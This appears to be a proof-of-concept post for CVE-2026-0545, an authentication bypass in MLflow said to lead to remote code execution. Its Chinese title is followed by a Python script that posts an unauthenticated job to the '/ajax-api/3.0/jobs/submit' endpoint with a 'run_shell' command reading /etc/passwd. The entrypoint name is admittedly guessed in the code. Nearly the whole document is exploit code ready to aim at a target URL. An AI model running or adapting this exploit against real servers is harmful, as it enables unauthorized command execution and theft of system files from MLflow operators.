CVE-2026-0545 mlflow认证绕过致RCE

import requests def exploit(target_url): # The endpoint vulnerable to auth bypass endpoint = f"{target_url}/ajax-api/3.0/jobs/submit" # Malicious payload to execute a command (assuming a whitelisted job) # Replace 'run_shell' with actual whitelisted function name if known payload = { "name": "malicious_job", "entrypoint": "run_shell", "parameters": {"command": "cat /etc/passwd"} } try: # Send request without authentication headers response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Job submitted without auth.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target exploit(target)